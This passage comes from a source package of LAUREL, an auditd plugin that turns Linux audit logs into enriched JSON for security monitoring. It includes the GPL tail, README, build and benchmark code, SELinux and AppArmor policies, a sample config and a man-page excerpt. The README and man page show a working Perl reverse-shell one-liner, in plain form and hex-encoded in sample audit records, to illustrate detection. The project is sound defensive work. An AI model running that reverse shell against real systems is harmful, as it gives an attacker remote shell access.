license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . laurel-0.7.1/README.md000064400000000000000000000050541046102023000124000ustar 00000000000000![logo](laurel.svg) # Linux Audit – Usable, Robust, Easy Logging [![Build Status](https://github.com/threathunters-io/laurel/actions/workflows/build.yml/badge.svg)](https://github.com/threathunters-io/laurel/actions/workflows/build.yml) LAUREL is an event post-processing plugin for _auditd(8)_ that generates useful, enriched JSON-based audit logs suitable for modern security monitoring setups. Documentation corresponding to the latest stable release can be found [here](https://github.com/threathunters-io/laurel/tree/v0.7.1). ## Why? TLDR: Instead of audit events that look like this… ``` type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742… ``` …_LAUREL_ turns them into JSON logs where the mess that attackers/penetration testers/red teamers are trying to make becomes apparent at first glance: ``` { … "EXECVE":{ "argc": 3,"ARGV": ["perl", "-e", "use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]}, …} ``` This happens at the source because _LAUREL_ runs on the host where the audit events are generated. Events are enriched with useful information about the parent process (ppid): ``` "PPID":{"EVENT_ID":"1643635026.276:327308","comm":"sh","exe":"/usr/bin/dash","ppid":3190631} ``` ## Documentation Configuration and operational details are described in the [laurel(8)](man/laurel.8.md) manual page. Details about the log format and rationales can be found in the [laurel-about(7)](man/laurel-about.7.md) manual page. The [laurel-audit-rules(7)](man/laurel-audit-rules.7.md) page contains advice and examples for configuring audit rules useful for detecting attackers' tactics. The [_LAUREL_ installation instructions](INSTALL.md) contain instructions on how to build _LAUREL_ from source and how to install and configure it. We developed _LAUREL_ because we were not content with feature sets and performance characteristics of existing projects and products. Please refer to the [Performance](performance.md) document for details. ## See also - [ansible-auditd-laurel](https://github.com/certeu/ansible-auditd-laurel/), an Ansible role to deploy _auditd_ + _laurel_, by @0xFustang / CERT-EU ## License GNU General Public License, version 3 ## Authors - Hilko Bengen <> - Sergej Schmidt <> The logo was created by Birgit Meyer <>. laurel-0.7.1/benches/Makefile000064400000000000000000000007731046102023000141730ustar 00000000000000# Generate benchmark flamegraph like this: # # $ make -f benches/Makefile binary=./target/release/deps/coalesce_execve-76764715a5348906 binary ?= $(error "Set binary variable") FG_DIR ?= ~/src/flamegraph .PHONY: all all: $(binary).svg .PHONY: clean clean: rm -f $(binary).prof $(binary).stacks $(binary).svg .PHONY: view view: $(binary).svg firefox $^ %.svg: %.stacks $(FG_DIR)/flamegraph.pl < $^ > $@.t mv $@.t $@ %.prof: % $< %.stacks: % %.prof google-pprof --collapsed $^ > $@.t mv $@.t $@ laurel-0.7.1/benches/coalesce_execve.rs000064400000000000000000000052061046102023000162120ustar 00000000000000use gperftools::profiler::PROFILER; use laurel::coalesce::Coalesce; #[divan::bench(args = [false, true])] fn coalesce(serialize: bool) { let mut c = if serialize { Coalesce::new(|msg| serde_json::to_writer(std::io::sink(), &msg).unwrap()) } else { Coalesce::new(|_| {}) }; let ppid = std::process::id(); c.settings.translate_universal = true; c.settings.translate_userdb = true; c.settings.enrich_script = false; for i in 0..1000 { let pid = ppid + 100000 + i; let ms = (i / 1000) % 1000; let seq = i % 1000; for line in &[ format!( r#"node=asdfghjk type=SYSCALL msg=audit(1615114232.{ms:03}:{seq:03}): arch=c000003e syscall=59 success=yes exit=0 a0=63b29337fd18 a1=63b293387d58 a2=63b293375640 a3=fffffffffffff000 items=2 ppid={ppid} pid={pid} auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts1 ses=1 comm="true" exe="/bin/true" key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="user" GID="user" EUID="user" SUID="user" FSUID="user" EGID="user" SGID="user" FSGID="user" "#, ), format!( r#"node=asdfghjk type=EXECVE msg=audit(1615114232.{ms:03}:{seq:03}): argc=1 a0="true" "#, ), format!( r#"node=asdfghjk type=CWD msg=audit(1615114232.{ms:03}:{seq:03}): cwd="/home/user/tmp" "#, ), format!( r#"node=asdfghjk type=PATH msg=audit(1615114232.{ms:03}:{seq:03}): item=0 name="/bin/true" inode=261214 dev=ca:03 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0OUID="root" OGID="root" "#, ), format!( r#"node=asdfghjk type=PATH msg=audit(1615114232.{ms:03}:{seq:03}): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=262146 dev=ca:03 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0OUID="root" OGID="root" "#, ), format!( r#"node=asdfghjk type=PROCTITLE msg=audit(1615114232.{ms:03}:{seq:03}): proctitle="true" "#, ), format!( r#"node=asdfghjk type=EOE msg=audit(1615114232.{ms:03}:{seq:03}): "#, ), ] { c.process_line(line.as_bytes()).unwrap(); } } } fn main() { laurel::constants::initialize(); PROFILER .lock() .unwrap() .start(format!("{}.prof", std::env::args().next().unwrap())) .unwrap(); divan::main(); PROFILER.lock().unwrap().stop().unwrap(); } laurel-0.7.1/build.rs000064400000000000000000000067051046102023000125720ustar 00000000000000use std::env; use std::fs; use std::io::prelude::*; use std::io::BufReader; use std::path::Path; use std::string::String; extern crate bindgen; fn gen_syscall() -> Result> { let mut buf = String::new(); for entry in Path::new("src/tbl/syscall").read_dir()? { let p = entry?.path(); let filename = if let Some(f) = p.file_name() { f } else { continue; }; let arch = if let Some(a) = filename .to_string_lossy() .into_owned() .strip_suffix("_table.h") { a.to_string() } else { continue; }; buf.push_str("{ let mut t = HashMap::new(); for (num, name) in &["); // Entries look like // _S(0, "io_setup") // Just get rid of the _S. let defs = BufReader::new(fs::File::open(p)?) .lines() .filter(|line| line.as_ref().unwrap().starts_with("_S(")) .map(|line| line.unwrap()) .map(|line| line.strip_prefix("_S").unwrap().to_string()); for def in defs { buf.push_str(def.as_str()); buf.push(','); } buf.push_str("] { t.insert(*num, *name); } "); buf.push_str(format!(" hm.insert(\"{arch}\", t); }}\n").as_str()); } Ok(buf) } fn gen_uring_ops() -> Result> { let mut buf = String::new(); let mut defs: Vec> = (0..64).map(|_| None).collect(); for (k, v) in BufReader::new(fs::File::open("src/tbl/uringop_table.h")?) .lines() .map(|line| line.unwrap()) .filter_map(|line| line.strip_prefix("_S(").map(String::from)) .filter_map(|line| line.strip_suffix(')').map(String::from)) .filter_map(|line| { line.as_str().split_once(',').map(|(k, v)| { ( k.trim().to_string(), v.trim_matches(|c: char| c.is_whitespace() || c == '"') .to_string(), ) }) }) { let num: usize = k.parse()?; defs[num] = Some(v); } for def in defs { let frag = match def { Some(s) => format!(r#"Some(b"{s}"), "#), None => "None, ".to_string(), }; buf.push_str(&frag); } Ok(buf) } fn main() -> Result<(), Box> { let out_dir = env::var_os("OUT_DIR").unwrap(); let dest_path = Path::new(&out_dir).join("const.rs"); let mut template = Vec::new(); fs::File::open("src/const.rs.in")?.read_to_end(&mut template)?; let template = String::from_utf8(template)?; let buf = template .replace("/* @SYSCALL_BUILD@ */", &gen_syscall()?) .replace("/* @URING_OPS@ */", &gen_uring_ops()?) .into_bytes(); fs::write(dest_path, buf)?; #[cfg(target_os = "linux")] bindgen::Builder::default() .header("src/sockaddr.h") .allowlist_type("^sockaddr_.*") .allowlist_var("^AF_.*") .layout_tests(false) .generate() .expect("unable to generate bindings") .write_to_file(std::path::PathBuf::from(env::var("OUT_DIR").unwrap()).join("sockaddr.rs")) .expect("Couldn't write bindings!"); println!("cargo:rerun-if-changed=build.rs"); println!("cargo:rerun-if-changed=const.rs.in"); #[cfg(target_os = "linux")] println!("cargo:rerun-if-changed=src/sockaddr.h"); Ok(()) } laurel-0.7.1/contrib/debug/README.md000064400000000000000000000013431046102023000151230ustar 00000000000000# Debugging Laurel (even in production) The `run-debug.sh` script in this directory is intended to be run from the project root dir by a regular user with sudo privileges. It runs a _laurel_ debug build with a custom configuration. The configuration is built from a template. If the template contained in the script is not good enough, place your own template into `contrib/debug/config.toml.template`. Audit log data is read from a local socket `/var/run/audispd_events`. The _auditd_ `af_unix` plugin has to be enabled for this to work. Edit the configuration file `/etc/audit/plugins.d/af_unix.conf`: ``` active = yes direction = out path = builtin_af_unix type = builtin args = 0644 /var/run/audispd_events format = string ``` laurel-0.7.1/contrib/debug/run-debug.sh000075500000000000000000000024411046102023000160730ustar 00000000000000#!/bin/sh set -eu readonly AUDISPD_EVENTS=/var/run/audispd_events USER=$(id -un) if ! [ -S "$AUDISPD_EVENTS" ]; then echo "Please enable the af_unix plugin (/etc/audit/plugins.d/af_unix.conf" >&2 exit 1 fi config=$(mktemp -t laurel-config.toml.XXXXXXXXXX) trap 'rm -f $config' EXIT sedexpr="s,%USER%,$USER,g; s,%AUDISPD_EVENTS%,$AUDISPD_EVENTS,g" dir=$(dirname "$0") if [ -e "$dir/config.toml.template" ]; then echo "Writing $dir/config.toml.template to $config..." sed "$sedexpr" > "$config" < "$dir/config.toml.template" else echo "Writing internal default template to $config..." sed "$sedexpr" > "$config" < laurel ifdef(`audit3',` gen_require(`type auditd_t;') allow auditd_t laurel_exec_t:file { getattr open read execute entrypoint }; type_transition auditd_t laurel_exec_t:process laurel_t; allow auditd_t auditd_t:capability kill; allow auditd_t laurel_t:process { transition signal }; ') # Transition audispd (auditd 2.x) -> laurel ifdef(`audit2',` gen_require(`type audisp_t;') allow audisp_t laurel_exec_t:file { getattr open read execute entrypoint }; type_transition audisp_t laurel_exec_t:process laurel_t; allow audisp_t audisp_t:capability kill; allow audisp_t laurel_t:process { transition signal }; ') # Set / retain capabilities allow laurel_t self:process { getcap setcap }; # Re-exec on SIGHUP allow laurel_t laurel_exec_t:file execute_no_trans; # Set permissions at initialization time allow laurel_t self:capability { chown fowner fsetid setuid setgid }; # Inspect process environments, override UNIX read permissions allow laurel_t self:{ capability cap_userns } { sys_ptrace dac_read_search }; # Write to Syslog logging_send_syslog_msg(laurel_t) # Read from /proc domain_read_all_domains_state(laurel_t) list_dirs_pattern(laurel_t, proc_t, proc_t); # stat() for every file (for enrich.script) files_getattr_all_files(laurel_t) # Access local user database ifdef(`distro_debian',` gen_require(`type etc_t;') allow laurel_t etc_t:file { open read }; ifdef(`systemd_stream_connect_userdb',` systemd_stream_connect_userdb(laurel_t) ') ifdef(`systemd_connect_machined',` systemd_connect_machined(laurel_t) ') ') ifdef(`distro_redhat',` gen_require(`type passwd_file_t;') allow laurel_t passwd_file_t:file { open read }; ifdef(`systemd_userdbd_stream_connect',` systemd_userdbd_stream_connect(laurel_t) ') ifdef(`systemd_machined_stream_connect',` systemd_machined_stream_connect(laurel_t) ') ') # Access user database via SSSD sssd_read_public_files(laurel_t) sssd_stream_connect(laurel_t) # Use nscd for name lookups nscd_use(laurel_t) # Read config files read_files_pattern(laurel_t, laurel_etc_t, laurel_etc_t) # Write/rotate log files manage_dirs_pattern(laurel_t, laurel_log_t, laurel_log_t) manage_files_pattern(laurel_t, laurel_log_t, laurel_log_t) manage_lnk_files_pattern(laurel_t, laurel_log_t, laurel_log_t) setattr_files_pattern(laurel_t, laurel_log_t, laurel_log_t) # Mark config, log files files_config_file(laurel_etc_t) logging_log_file(laurel_log_t) # Create log directory with specified label logging_log_filetrans(laurel_t, laurel_log_t, dir) laurel-0.7.1/etc/apparmor/laurel000064400000000000000000000020041046102023000147140ustar 00000000000000# -*- apparmor -*- abi , include profile laurel /usr/sbin/laurel flags=(attach_disconnected, complain) { include include capability chown, capability dac_read_search, capability fowner, capability fsetid, capability setgid, capability setpcap, capability setuid, # connect to local services for name lookups etc. network unix stream, # Access various information in /proc/$PID/ ptrace read, capability sys_ptrace, @{PROC}/ r, @{PROC}/@{pid}/cgroup r, @{PROC}/@{pid}/comm r, @{PROC}/@{pid}/environ r, @{PROC}/@{pid}/stat r, # Re-exec /usr/sbin/laurel mrix, signal receive set=(term,hup,int,kill), # Configuration and log files /etc/laurel/config.toml r, /var/log/laurel/ rw, owner /var/log/laurel/* rw, # Workarounds for suspected Ubuntu / Azure AD issues @{run}/samba/winbindd/pipe rw, /etc/aadpasswd r, include if exists include if exists } laurel-0.7.1/etc/audit/plugins.d/laurel.conf000064400000000000000000000002011046102023000170250ustar 00000000000000active = yes direction = out type = always format = string path = /usr/local/sbin/laurel args = --config /etc/laurel/config.toml laurel-0.7.1/etc/laurel/config.toml000064400000000000000000000153031046102023000153200ustar 00000000000000# Write log files relative to this directory directory = "/var/log/laurel" # Drop privileges from root to this user user = "_laurel" # The periodical time window in seconds for status information to be printed to Syslog. # Status report includes the running version, config and parsing stats. # Default is 0 --> no status reports. statusreport-period = 0 # By default, audit events are read from stdin ("stdin"). Alternatively, they # can be consumed from an existing UNIX domain socket ("unix:/path/to/socket") input = "stdin" # A string that is written to the log on startup and # whenever Laurel writes a status report. # marker = "correct-horse-battery-staple" [auditlog] # Base file name for the JSONL-based log file. Set to "-" to log to stdout. You can set # it to send the stdout directly to another script or process by specifying that script # or process, preceeded with a pipe. ex. "| /usr/local/script.sh" # In these cases other log file related settings will be ignored. file = "audit.log" # Rotate when log file reaches this size (in bytes) size = 5000000 # When rotating, keep this number of generations around generations = 10 # Grant read permissions on the log files to these users, using # POSIX ACLs # read-users = [ "splunk" ] # Add a prefix to every output line. The CEE cookie can be used to # instruct consumers to parse the JSON document, cf. # https://www.rsyslog.com/doc/master/configuration/modules/mmjsonparse.html # line-prefix = "@cee: " # [debug] # [debug.parse-error-log] # file = "parse-error.log" # size = 1000000 # generations = 3 # [filterlog] # # If filter.filter-action is set to "log", filtered events are # # written to this log. It is configured just like [auditlog]. # file = "filtered.log" # size = 1000000 # generations = 3 # read-users = [ "splunk" ] [state] # Filename for the state file. Set to empty string to disable keeping # state on disk. file = "state" # Number of generations of the state file to keep for debugging # purposes generations = 0 # Number of seconds after which the state file is considered stale. max-age = 60 [transform] # "array" (the default) causes EXECVE a0, a1, a2 … arguments to be # output as a list of strings, "ARGV". This is the default, it allows # analysts to reliably reproduce what was executed. # # "string" causes arguments to be concatenated into a single string, # separated by space characters, "ARGV_STR". This form allows for # easier grepping, but it is impossible to tell if space characters in # the resulting string are a separator or were part of an individual # argument in the original command line. execve-argv = [ "array" ] # execve-argv = [ "array", "string" ] # Trim excessively long EXECVE.ARGV and EXECVE.ARGV_STR entries. # Excess is cut from the middle of the argument list and a marker # indicating how many arguments / bytes have been cut is inserted. # execve-argv-limit-bytes = 10000 [translate] # Perform translations of numeric values that can also be done by # auditd if configured with log_format=ENRICHED. # arch, syscall, sockaddr structures universal = false # UID, GID values user-db = false # Drop raw (numeric) syscall, arch, UID, GID values if they are translated drop-raw = false [enrich] # Add context (event-id, comm, exe, ppid) for *pid entries pid = true # List of environment variables to log for every EXECVE event execve-env = [ "LD_PRELOAD", "LD_LIBRARY_PATH" ] # Add container information to SYSCALL-based events container = true # Add container information as top-level CONTAINER_INFO record (deprecated) container_info = false # Add systemd cgroup information for processes running within systemd # services. systemd = true # Add script context to SYSCALL execve events script = true # Add groups that the user (uid) is a member of. Default: true user-groups = true # Add a prefix to enriched fields; this may be useful if logs are # consumed by analysis software that doesn't properly understand # uppercase and lowercase JSON object fields as identical. This # setting has no affect enriched fields passed in from auditd. # Default: unset # prefix = "enriched_" [label-process] # Audit records that contain certain keys can be reused as a label # attached to the process. # # This is useful in combination with audit rules such as: # -w -p x -k # e.g.: -w /usr/bin/dpkg -p x -k software_mgmt label-keys = [ "software_mgmt" ] # Labels can be attached to or removed from processes that run certain # programs. The file program file path (SYSCALL.exe or /proc/pid/exe) # is matched against regular expressions. This is useful for programs # that cannot be identified through auditd file watches (-w -p # x -k ). label-exe.'^/opt/.*/bin/java$' = 'java' label-exe.'^/usr/lib/jvm/.*/bin/java$' = 'java' label-exe.'^/snap/amazon-ssm-agent/\d+/' = 'amazon-ssm-agent' unlabel-exe."bin/php$" = "java" # Labels can be attached to or removed from processes that are started # using certain command lines. Note that there are limits on the # number of arguments and the number of bytes considered by the # matcher, see label-argv-count and label-argv-bytes label-argv."^(?:\\S+/)?java .* -Dweblogic" = "weblogic" # unlabel-argv."…" = "…" # Number of command line arguments that are considered for label-argv, # unlabel-argv. label-argv-count = 32 # Number of bytes that are considered for label-argv, unlabel-argv. label-argv-bytes = 4096 # Labels can be attached to or removed from processes that have been identified as # scripts. label-script."^/root/maint-.*[.]sh$" = "maint" # unlabel-script."…" = "maint" # Process Labels can be propagated to spawned child processes. This is # useful for marking an entire subtree of children that have been # spawned within certain contexts (e.g. system management tools, # container runtimes, ssh servers, cron, etc.). propagate-labels = [ "software_mgmt", "amazon-ssm-agent" ] [filter] # When audit records with attached keys are being generated, # LAUREL will discard these. # filter-keys = ["filter-this"] # In addition to key based filtering it is also possible to configure label based # filtering. This alows the possibility to filter based on parent processes. # filter-labels = ["software_mgmt"] # Filter events without specified key filter-null-keys = false # Filter events that were constructed from input lines matching these # regular expressions # filter-raw-lines = [ # "^type=PATH msg=\\S*? item=\\S*? name=\"/var/run/nscd[.]sock\" " # ] # Keep the first event observed for any given process even if it would # be filtered otherwise. This should only be turned off if # reproducible process tracking or process tree reconstruction is not # required. # keep-first-per-process = true # What to do with filtered events? "drop" or "log" to the filterlog # defined above. filter-action = "drop" laurel-0.7.1/laurel.svg000064400000000000000000000462071046102023000131330ustar 00000000000000 image/svg+xml laurel-0.7.1/man/.gitignore000064400000000000000000000000071046102023000136550ustar 00000000000000*.[78] laurel-0.7.1/man/Makefile000064400000000000000000000003641046102023000133330ustar 00000000000000TGTS := laurel.8 laurel-about.7 laurel-audit-rules.7 laurel2audit.8 SRCS := $(patsibst %,%.md,$(TGTS)) .PHONY: all all: $(TGTS) %: %.md pandoc -s -t man -o $@ $^ %.html: %.md pandoc -s -t html -o $@ $^ .PHONY: clean clean: rm -f $(TGTS) laurel-0.7.1/man/laurel-about.7.md000064400000000000000000000256661046102023000147720ustar 00000000000000--- title: laurel - About section: 7 header: System Administration Utilities footer: laurel 0.7.1 --- # NAME laurel-about - High-level description of `laurel(8)` design, rationale, features # DESCRIPTION ## Problem statement While logs produced by the Linux Audit subsystem and _auditd(8)_ contain information that can be very useful for host-based security monitoring, the log format is not well-suited for at-scale analysis in a SIEM. ### Format issues - All non-trivial events are split across multiple lines that have to be joined together using a message identifier, but current search-centric log analysis systems are quite limited when it comes to join operations. - Files and program executions are logged via `PATH` and `EXECVE` elements. The character set for strings is a limited subset of ASCII no escaping mechanism exists: If a string contains bytes that have special meaning in the format (even space or quote characters), the entire string is hex-encoded. - Argument lists are preserved in `EXECVE` records, but with an `a0="…"`, `a1="…"`, `a2="…"`, `a3="…"` naming scheme, they are not easily accessible. - Long command lines may be spread across multiple `EXECVE` event lines. - For numeric values, there is no clear distinction whether they should be interpreted as decimal, octal, or hexadecimal values. ### Missing context Most audit events are based on either system calls or file operations. Whether or not some suspicious actions should be considered harmful, largely depends on the context in which it takes place. For example, one would not expect most web applications to use `netcat` to connect to hosts on the Internet, but an administrator who is logged and over SSH who uses `netcat` to debug network issues should raise fewer suspicions. Unfortunately, the only context that can be added for Linux audit events "keys" using the `-k` parameter of `auditctl(8)`. ### Example Spawning a simple Perl reverse-shell one-liner creates the following 7-line audit log entry that nicely demonstrates some of these shortcomings: ``` type=SYSCALL msg=audit(1626611363.720:348501): arch=c000003e syscall=59 success=yes exit=0 a0=55c094deb5c0 a1=55c094dea770 a2=55c094dbf1b0 a3=fffffffffffff286 items=3 ppid=722076 pid=724395 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts3 ses=3 comm="perl" exe="/usr/bin/perl" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B657428532C50465F494E45542C534F434B5F53545245414D2C67657470726F746F62796E616D6528227463702229293B696628636F6E6E65637428532C736F636B616464725F696E2824702C696E65745F61746F6E282469292929297B6F70656E28535444494E2C223E265322293B6F70656E285354444F55542C223E265322293B6F70656E285354444552522C223E265322293B6578656328222F62696E2F7368202D6922293B7D3B type=CWD msg=audit(1626611363.720:348501): cwd="/root" type=PATH msg=audit(1626611363.720:348501): item=0 name="/usr/bin/perl" inode=401923 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1626611363.720:348501): item=1 name="/usr/bin/perl" inode=401923 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1626611363.720:348501): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=404797 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PROCTITLE msg=audit(1626611363.720:348501): proctitle=7065726C002D650075736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B657428532C50465F494E45542C534F434B5F53545245414D2C67657470726F746F62796E616D6528227463702229293B696628636F6E6E65637428532C736F636B616464725F696E2824702C696E65745F6174 ``` ## Solution In addition to (or instead of) writing log files, `auditd(8)` can pass log lines to one or multiple plug-ins for further processing, see `auditd-plugins(5)`. `laurel(8)` is intended to be run as such a plug-in. It reads the audit logs from standard input, parses them, and writes a modified form of the audit log to a different log file. ### Output format Log records carrying the same event ID (the `msg=audit(TIME:SEQUENCE):` part) are collected into coherent events and output as a JSON Lines-based log format. Most importantly, hex-encoded strings are output as regular JSON strings. [RfC8259] mandates that "text exchanged between systems that are not part of a closed ecosystem MUST be encoded using UTF-8", therefore any bytes or byte sequences that are not valid UTF-8 are percent-encoded as described in [RfC3986]. Numbers are parsed as decimal, octal, or hexadecimal values and output in an unambiguous format. List data (`SYSCALL.{a0 … a3}` and `EXECVE.a*`) are turned into JSON arrays. `PROCTITLE.proctitle` is split at NULL bytes and transformed into a list. [RfC8259]: https://datatracker.ietf.org/doc/html/rfc8259 'The JavaScript Object Notation (JSON) Data Interchange Format' [RfC3986]: https://datatracker.ietf.org/doc/html/rfc3986 'Uniform Resource Identifier (URI): Generic Syntax' ### Structure Every audit log line produced by _LAUREL_ is one single JSON object consisting of key/value pairs that contains at least an `ID` field. - `SYSCALL`, `EXECVE`, `CWD`, `PROCTITLE` fields point to single JSON objects. - `PATH`, `SOCKADDR` fields point to lists of JSON objects. Every other kernel-produced audit message not mentioned above results in field pointing to a list of JSON objects. Details may change after the list of kernel audit message types has been reviewed. ### Encoding of invalid UTF-8 strings and binary data - Most byte values that represent printable ASCII characters are reproduced as-is (but are subject to JSON string escaping rules). - Bytes that map to non-printable ASCII characters (less than 32/0x20; 127/0x7f) are percent-encoded. - Byte values that map to `%` (37/0x25) and `+` (42/0x2b) are percent-encoded. - Byte values outside of the ASCII range (greater than 127/0x7f) are reproduced as-is if they are part of a valid UTF-8 sequence. Otherwise, they are percent-encoded. Handling of special Unicode characters may change in the future. ### Translation / Enrichment If `auditd(8)` has been configured with `log_format=ENRICHED`, it translates some numeric values in the original audit data to strings. Per convention, it adds translated information using all-caps versions of the keys. For example, arch=c000003e syscall=59 uid=0 get translated to ARCH=x86_64 SYSCALL=execve UID="root" by `auditd(8)`. All information that is added to records by `laurel(8)` follows the same convention, i.e. keys are turned into all-caps. While 